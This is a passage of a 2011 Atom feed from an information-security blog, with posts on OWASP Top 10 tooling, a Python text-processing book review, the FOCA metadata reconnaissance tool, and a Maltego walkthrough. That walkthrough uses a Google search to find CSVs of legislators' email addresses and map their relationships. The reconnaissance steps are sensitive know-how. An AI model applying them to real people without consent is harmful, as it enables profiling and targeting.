href="http://www.pentestit.com/2011/03/24/pentestit-post-day-owasp-top-10-tools-tactics/"&gt;Post of the Day&lt;/a&gt; on PenTestIT. ;-)&lt;br /&gt;&lt;br /&gt;{excerpt}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;Lesson 1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Software will always have bugs and by extension, security vulnerabilities. Therefore, a practical goal for a secure software development lifecycle (SDLC) should be to reduce, not necessarily eliminate, the number of vulnerabilities introduced and the severity of those that remain.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Lesson 2:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Exploitation of just one website vulnerability is enough to significantly disrupt online business, cause data loss, shake customer confidence, and more. Therefore, the earlier vulnerabilities are identified and the faster they are remediated the shorter the window of opportunity for an attacker to maliciously exploit them.&lt;br /&gt;&lt;br /&gt;The conclusion is therefore simple: reduction and remediation of web application security flaws will shrink the number of attack vectors and improve security posture. Ground breaking, right? No, it’s old news, “security posture” is a worn out buzz phrase, and if everyone was diligent about the above mentioned reduction and remediation, we’d likely not need a Top 10 list or a 12th Website Security Statistic Report (count on one). But hey, then we’d have to find different work, right?&lt;br /&gt;&lt;br /&gt;Gifford Pinchot once said “Never bet on a race unless you are running in it.”&lt;br /&gt;&lt;br /&gt;As solutions are always better than complaints, let’s discuss how to get in the race with some tooling options as we explore each of the Top 10.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;{/excerpt}&lt;br /&gt;&lt;br /&gt;You know I'm an SDLC fan, and an ardent supporter of OWASP. This article blends those passions along with some insight as to how I conduct web application vulnerability research.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; Over the next few months, I'll be drilling into to each of the OWASP Top Ten, exploring the specific vulnerability and the aforementioned tooling and tactics to aid in better discovery and mitigation. &lt;br /&gt;Look forward to those followup articles at &lt;a href="http://resources.infosecinstitute.com/"&gt;InfoSec Resources&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hope you enjoy.&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4047912550734163778?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4047912550734163778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4047912550734163778' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4047912550734163778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4047912550734163778'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/03/owasp-top-10-tools-and-tactics-infosec.html' title='OWASP Top 10 Tools and Tactics @ InfoSec Resources'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6195388137360042827</id><published>2011-03-06T11:49:00.000-08:00</published><updated>2011-03-06T21:26:45.385-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='development'/><category scheme='http://www.blogger.com/atom/ns#' term='book review'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Book Review: Python 2.6 Text Processing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://www.packtpub.com/sites/default/files/imagecache/productview/2121OS_Cover.jpg" target="_blank"&gt;&lt;img style="cursor: pointer; width: 125px; height: 152px;" src="https://www.packtpub.com/sites/default/files/imagecache/productview/2121OS_Cover.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Python is a powerful and dynamic programming language that is used in a wide variety of application domains such as web and internet development, databases access, desktop GUIs, scientific and numeric, education, network programming, software development, as well as games and 3D graphics.&lt;br /&gt;As a security analyst I'm always interested in ways to better query vast quantities of text such as parsing web server logs for various signs of evil.&lt;br /&gt;Jeff McNeil's &lt;a href="https://www.packtpub.com/python-2-6-text-processing-beginners-guide/book" target="_blank"&gt;Python 2.6 Text Processing Beginner's Guide&lt;/a&gt; from &lt;a href="https://www.packtpub.com/" target="_blank"&gt;Packt Publishing&lt;/a&gt; struck me as useful resource with which to improve Python skills specific to text processing.&lt;br /&gt;This book is intended for novice Python developers interested in processing text (me), and is laid out and written so as to be very supportive of this cause.&lt;br /&gt;First published in December 2010, &lt;span style="font-style: italic;"&gt;Python 2.6 Text Processing&lt;/span&gt; is organized via these conventions:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Time for action&lt;/span&gt; - inclusive of multiple instructions followed by extra detail and explanation (What just happened?)&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Pop quiz&lt;/span&gt; - to help you test your understanding of methods just discussed&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Have a go hero&lt;/span&gt; - practical challenges to put your learning to use&lt;/li&gt;&lt;/ul&gt;I appreciate the logical flow of the book, moving from basic concepts and IO handling, to strings services and standard library usage, to regular expressions, structure markup, encoding, and advanced output.&lt;br /&gt;With my interest in web server log manipulation I found myself able to quickly embrace the concepts offered and make us of this book's code &lt;a href="https://www.packtpub.com/code_download/7022" target="_blank"&gt;samples&lt;/a&gt; offered on the Packt Publishing &lt;a href="http://www.packtpub.com/"&gt;website&lt;/a&gt;.&lt;br /&gt;Anyone who operates a website and spends any time reviewing web logs is likely aware that a certain percentage of all traffic bound for their site is malicious, be it uniquely targeted or bot traffic crawling by looking for weak spots.&lt;br /&gt;One such example is remote file include (RFI) attempts. I've been using a Perl script to parse my logs for such traffic but have wanted to use such analysis as an opportunity to learn Python and ultimately rewriting the scripts in Python. While I haven't gotten there yet, I am certain this book will aid me entirely.&lt;br /&gt;Of additional use is the fact that &lt;span style="font-style:italic;"&gt;Python 2.6 Text Processing&lt;/span&gt; offers additional resources such documentation APIs, community resources such as mailing lists and conferences, as well as discussion of Python 3 and what to expect in migrating.&lt;br /&gt;Returning to the RFI analysis mentioned above, I used Python to pull interesting, related results out of my web logs.&lt;br /&gt;While Chapter 2 of &lt;span style="font-style:italic;"&gt;Python 2.6 Text Processing&lt;/span&gt; introduces a web server log parser, and builds on it through out the chapter, I was drawn to searching and indexing as described in Chapter 11 via the use of the &lt;a href="http://nucular.sourceforge.net/" target="_blank"&gt;Nucular&lt;/a&gt; libraries (no, not the Bush mispronunciation).&lt;br /&gt;"Nucular is a system for creating full text indices for fielded data. It can be accessed via a Python API or via a suite of command line interfaces."&lt;br /&gt;First, ensure that you've installed the SetupTools easy_install system via &lt;span style="font-family:courier new;"&gt;python ez_setup.py&lt;/span&gt; as discussed on page 23. Once installed issue &lt;span style="font-family:courier new;"&gt;easy_install nucular&lt;/span&gt;, and the libraries and related dependencies will be installed to the appropriate paths.&lt;br /&gt;With some modifications to the provided code samples, I then created an index of three years worth of web logs from my site, and was able to query them as a single source for keywords indicative of RFI attacks. While I started with a simple linear search across multiple logs via &lt;span style="font-family:courier new;"&gt;text_scan.py&lt;/span&gt; as seen on page 302 I quickly learned why McNeil is proving the linear search method as laborious and ineffective, instead promoting the use of libraries such as Nucular, and he's right.&lt;br /&gt;Overall, this book is an effective learning tool, though keep in mind that it's entirely Linux-centric. Syntax for those of you using Python on Windows is subject to nuances.&lt;br /&gt;McNeil's done a solid job with &lt;a href="https://www.packtpub.com/python-2-6-text-processing-beginners-guide/book" target="_blank"&gt;Python 2.6 Text Processing Beginner's Guide&lt;/a&gt;; it's a verbose (sometimes he turns on the fire hose)  but worthy read and a suggested purchase at $45 +/- direct from &lt;a href="https://www.packtpub.com/python-2-6-text-processing-beginners-guide/book" target="_blank"&gt;Packt&lt;/a&gt;, &lt;a href="http://www.amazon.com/Python-Text-Processing-Beginners-Guide/dp/1849512124" target="_blank"&gt;Amazon&lt;/a&gt;, or &lt;a href="http://search.barnesandnoble.com/Python-26-Text-Processing-Beginners-Guide/Jeff-McNeil/e/9781849512121/?itm=1&amp;amp;USRI=python+2.6+text+processing%3a+beginners+guide" target="_blank"&gt;Barnes and Noble&lt;/a&gt;, earning 3.5 stars out of 5 (very good).&lt;br /&gt;Give it a read and put those mad new Python skills to good use.&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/03/book-review-python-26-text-processing.html&amp;amp;title=Book%20Review:%20Python%202.6%20Text%20Processing " title="Book Review: Python 2.6 Text Processing "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/03/book-review-python-26-text-processing.html" title="Book Review: Python 2.6 Text Processing  "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/03/book-review-python-26-text-processing.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6195388137360042827?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6195388137360042827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6195388137360042827' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6195388137360042827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6195388137360042827'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/03/book-review-python-26-text-processing.html' title='Book Review: Python 2.6 Text Processing'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-6491887400535898984</id><published>2011-03-02T13:44:00.001-08:00</published><updated>2011-03-02T22:29:43.881-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='issa'/><category scheme='http://www.blogger.com/atom/ns#' term='OSINT'/><title type='text'>More on OSINT with FOCA 2.6 in toolsmith</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-NkpqHGo06_M/TW8w18qokpI/AAAAAAAAAcY/XlTHSG0P7GQ/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 249px; height: 102px;" src="http://1.bp.blogspot.com/-NkpqHGo06_M/TW8w18qokpI/AAAAAAAAAcY/XlTHSG0P7GQ/s320/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5579732166711480978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;“If ignorant both of your enemy and&lt;br /&gt;yourself, you are certain to be in peril.” - Sun Tzu&lt;br /&gt;&lt;br /&gt;I'm on a bit of an OSINT kick lately, and I nearly flipped out when I began to research FOCA for &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt;, then realized the raw, unadulterated power I had yet to make use of. &lt;br /&gt;Shame on me. Don't make the same mistake I did; &lt;a href="http://www.informatica64.com/DownloadFOCA/" target="_blank"&gt;download&lt;/a&gt; FOCA 2.6 pronto.&lt;br /&gt;If you're a penetration tester, this is hands down one of the best reconnaissance tools I've ever imagined. Fear the FOCA indeed.&lt;br /&gt;Really, fear it. You need to be careful with this tool. You can easily walk yourself right into potential legal concerns if you don't proceed with caution and permission.&lt;br /&gt;Consider yourself duly warned.&lt;br /&gt;FOCA is the product of the team at &lt;a href="http://informatica64.com/" target="_blank"&gt;Informatica 64&lt;/a&gt;, including Alejandro Martin Bailon and Chema Alonso, who were helpful as I wrote this March's column.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;FOCA (Fingerprinting Organizations with Collected Archives) 2.6 is an interesting tool that focuses heavily on document metadata extraction while incorporating other extreme search capabilities. Rather than depending on a variety of recon methods, FOCA will provide many related services for you.&lt;br /&gt;The FOCA project leads have indicated that for more than the last year and a half FOCA has been a primary tool in their own engagements.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Definitely check out their DEF CON 18 &lt;a href="http://www.securitytube.net/video/1353" target="_blank"&gt;presentation&lt;/a&gt;; it's truly entertaining and richly informative.&lt;br /&gt;&lt;br /&gt;The metadata functionality as seen in Figure 1 speaks for itself.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-uvBPdqmJ7Vw/TW8yjfSmLbI/AAAAAAAAAco/VYYHloIqIas/s1600/FOCAsystem.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 232px;" src="http://1.bp.blogspot.com/-uvBPdqmJ7Vw/TW8yjfSmLbI/AAAAAAAAAco/VYYHloIqIas/s320/FOCAsystem.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5579734048611642802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If that's not enough for you, the advanced network reconnaissance and enumeration capabilities ought to seal the deal as seen in Figure 2.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-rmjM1KihKBE/TW8y_H8s17I/AAAAAAAAAcw/G0t3VFjfgWA/s1600/FOCAdomains.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 163px;" src="http://2.bp.blogspot.com/-rmjM1KihKBE/TW8y_H8s17I/AAAAAAAAAcw/G0t3VFjfgWA/s320/FOCAdomains.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5579734523382126514" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There also an &lt;a href="http://informatica64.com/foca/"&gt;online&lt;/a&gt; version of FOCA.&lt;br /&gt;&lt;br /&gt;The article can be found &lt;a href="http://holisticinfosec.org/toolsmith/pdf/march2011.pdf"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Enjoy and be careful. ;-)&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/03/more-on-osint-with-foca-26-in-toolsmith.html&amp;amp;title=More%20on%20OSINT%20with%20FOCA%202.6%20in%20toolsmith " title="More on OSINT with FOCA 2.6 in toolsmith "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/03/more-on-osint-with-foca-26-in-toolsmith.html" title="More on OSINT with FOCA 2.6 in toolsmith "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/03/more-on-osint-with-foca-26-in-toolsmith.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6491887400535898984?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6491887400535898984/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6491887400535898984' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6491887400535898984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6491887400535898984'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/03/more-on-osint-with-foca-26-in-toolsmith.html' title='More on OSINT with FOCA 2.6 in toolsmith'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-NkpqHGo06_M/TW8w18qokpI/AAAAAAAAAcY/XlTHSG0P7GQ/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-3859416395695628446</id><published>2011-02-17T19:38:00.001-08:00</published><updated>2011-02-21T10:30:36.062-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HBGary'/><category scheme='http://www.blogger.com/atom/ns#' term='OSINT'/><category scheme='http://www.blogger.com/atom/ns#' term='Maltego'/><title type='text'>OSINT: large email address list imports with Maltego</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-7dGUbxkFBvg/TWKrl_4iKUI/AAAAAAAAAcQ/OaoEKDRYx00/s1600/maltegoSplash.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 118px;" src="http://2.bp.blogspot.com/-7dGUbxkFBvg/TWKrl_4iKUI/AAAAAAAAAcQ/OaoEKDRYx00/s320/maltegoSplash.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5576207957930158402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fans of &lt;a href="http://en.wikipedia.org/wiki/Open_source_intelligence"&gt;OSINT&lt;/a&gt; are inevitably fans of &lt;a href="http://www.paterva.com/web5/" target="_blank"&gt;Maltego&lt;/a&gt;; I count myself amongst the dedicated.&lt;br /&gt;Given the recent HBGary &lt;a href="http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars" target="_blank"&gt;debacle&lt;/a&gt;, you'll soon see where the following discussion may prove useful for discovery of relationships between entries in a large list of email addresses. Consider the prospect of grepping through the HBGary emails, culling out a list of unique entries, then transforming them as an entirety via Maltego to determine what other relationships may exist between entrants.&lt;br /&gt;&lt;br /&gt;I've been hoping for some large list import functionality via Maltego local transforms, and Andrew at Paterva immediately provided upon request.&lt;br /&gt;Imagine similar functionality as found in transforms discussed &lt;a href="http://holisticinfosec.blogspot.com/2010/04/malware-behavior-analysis-studying.html" target="_blank"&gt;earlier&lt;/a&gt; where a CSV inclusive of IP addresses is imported (this older method was via Phrase entity pointed directly to the full path of the CSV), then unique IP address entities are populated to the Maltego UI workspace.&lt;br /&gt;For our current scenario, Andrew has provided me (and thus you) with local transforms that will allow import of a CSV, now using EasyDialogs (&lt;a href="http://code.google.com/p/easydialogs-gtk/" target="_blank"&gt;Linux&lt;/a&gt;,&lt;a href="http://www.averdevelopment.com/python/EasyDialogs.html" target="_blank"&gt; Windows&lt;/a&gt;) inclusive of multiple email addresses, and populate them each as unique Email Address entities to the Maltego UI workspace.&lt;br /&gt;&lt;br /&gt;Making sense?&lt;br /&gt;I'll walk you through it.&lt;br /&gt;&lt;br /&gt;First, ensure that you grab EasyDialogs as mentioned above and embed it properly with your Python interpreter.&lt;br /&gt;Second, grab &lt;a href="http://holisticinfosec.org/toolsmith/files/maltego/pyCSV/getEmailAddresses.py" target="_blank"&gt;getEmailAddresses.py&lt;/a&gt;, the above mentioned local transform for email address list imports, and &lt;a href="http://holisticinfosec.blogspot.com/2010/04/malware-behavior-analysis-studying.html"&gt;configure&lt;/a&gt; it for use with your Maltego instance.&lt;br /&gt;&lt;br /&gt;Now, let's start with a googledork.&lt;br /&gt;&lt;a href="http://www.google.com/search?q=email+addresses+filetype:csv+m&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=a9lhTfPLBoissAPB0IXCCA&amp;amp;start=70&amp;amp;sa=N#sclient=psy&amp;amp;hl=en&amp;amp;q=email+addresses+filetype:csv+senator" target="_blank"&gt;email addresses filetype:csv senator&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The second hit yields a CSV of Virginia state delegates affiliated with the &lt;a href="http://hrp.org/Site/" target="_blank"&gt;Hampton Roads Partnership&lt;/a&gt;.&lt;br /&gt;Looks like fun.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NOTE:&lt;/span&gt; This is entirely benign OSINT, simply a good object model for validation of our new local transform.&lt;br /&gt;&lt;br /&gt;After cleaning up the CSV to include only a column inclusive of the delegates email addresses, drag a Phrase entity onto the Maltego workspace; I named mine Virgina Delegates.&lt;br /&gt;Right-click the &lt;span style="font-family:courier new;"&gt;Phrase&lt;/span&gt; entity, select &lt;span style="font-family:courier new;"&gt;Run Transforms&lt;/span&gt;, then &lt;span style="font-family:courier new;"&gt;Other Transforms&lt;/span&gt;, then &lt;span style="font-family: courier new;"&gt;getEmailAddresses&lt;/span&gt;. A pop-up window will appear (EasyDialogs) and ask you "&lt;span style="font-family: courier new;"&gt;Which file do you want to use?&lt;/span&gt;"&lt;br /&gt;Give it the path (I used the shell extension &lt;a href="http://www.wolosoft.com/en/copypath/"&gt;CopyPath&lt;/a&gt;) to your CSV file and click OK.&lt;br /&gt;Results will be populated as seen in &lt;span style="font-weight: bold;"&gt;Figure 1&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-EqR6-VZwFRc/TWIQTk5JMiI/AAAAAAAAAbw/nD98q0syuzI/s1600/Maltego_delegates.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 204px;" src="http://4.bp.blogspot.com/-EqR6-VZwFRc/TWIQTk5JMiI/AAAAAAAAAbw/nD98q0syuzI/s320/Maltego_delegates.png" alt="" id="BLOGGER_PHOTO_ID_5576037217145008674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Highlight all the resulting Email Address entities that are now populated in the Maltego workspace, right-click the selection, choose &lt;span style="font-family:courier new;"&gt;Run Transforms&lt;/span&gt;, then &lt;span style="font-family:courier new;"&gt;Other Transforms&lt;/span&gt;, then &lt;span style="font-family:courier new;"&gt;To Website [using Search Engine]&lt;/span&gt;. It'll take a few minutes to run as there's some crawling to be done.&lt;br /&gt;&lt;br /&gt;The Mining View of the results can be a bit of kluge as seen in &lt;span style="font-weight: bold;"&gt;Figure 2&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-1a0DMjYm_wE/TWIVh4lOuwI/AAAAAAAAAcA/Vqo-rrwtCIQ/s1600/maltegoMining.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 271px;" src="http://2.bp.blogspot.com/-1a0DMjYm_wE/TWIVh4lOuwI/AAAAAAAAAcA/Vqo-rrwtCIQ/s320/maltegoMining.png" alt="" id="BLOGGER_PHOTO_ID_5576042960506501890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This transform is best viewed as Edge Weighted (&lt;span style="font-weight: bold;"&gt;Figure 3&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-FlQFbIEu8Us/TWIXOYcteDI/AAAAAAAAAcI/TcfdxAsW38A/s1600/maltegoEdge.png" target="_blank"&gt;&lt;img style="cursor: pointer; width: 320px; height: 302px;" src="http://3.bp.blogspot.com/-FlQFbIEu8Us/TWIXOYcteDI/AAAAAAAAAcI/TcfdxAsW38A/s320/maltegoEdge.png" alt="" id="BLOGGER_PHOTO_ID_5576044824486574130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Figure 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;See the commonality regardless of view?&lt;br /&gt;Both result sets point out the fact that one of the most significant relationships all these delegates share is...wait for it...the website for the firm owned by the person I can only imagine is...ta-da...their &lt;a href="http://www.dbava.com/" target="_blank"&gt;lobbyist&lt;/a&gt;!&lt;br /&gt;Politics as &lt;a href="http://en.wikipedia.org/wiki/Politics_as_usual#Elites" target="_blank"&gt;usual&lt;/a&gt;. ;-)&lt;br /&gt;&lt;br /&gt;Enjoy this transform, and stay tuned for more discussion of similar transforms.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2011/02/osint-large-email-address-list-imports.html&amp;amp;title=OSINT:%20large%20email%20address%20list%20imports%20with%20Maltego " title="OSINT: large email address list imports with Maltego "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2011/02/osint-large-email-address-list-imports.html" title="OSINT: large email address list imports with Maltego "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2011/02/osint-large-email-address-list-imports.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-3859416395695628446?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/3859416395695628446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=3859416395695628446' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3859416395695628446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3859416395695628446'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/02/osint-large-email-address-list-imports.html' title='OSINT: large email address list imports with Maltego'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-7dGUbxkFBvg/TWKrl_4iKUI/AAAAAAAAAcQ/OaoEKDRYx00/s72-c/maltegoSplash.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-3239536993672084806</id><published>2011-02-05T14:21:00.000-08:00</published><updated>2011-02-05T14:56:36.860-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='El Jefe'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><title type='text'>El Jefe: The Boss Will See You Now</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/TU3TUVGjkSI/AAAAAAAAAbo/eEjdejlatgo/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 200px; height: 185px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/TU3TUVGjkSI/AAAAAAAAAbo/eEjdejlatgo/s200/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5570340660342657314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The February 2011 edition of the &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt; includes &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; on the topic of &lt;a href="http://www.immunityinc.com/products-eljefe.shtml" 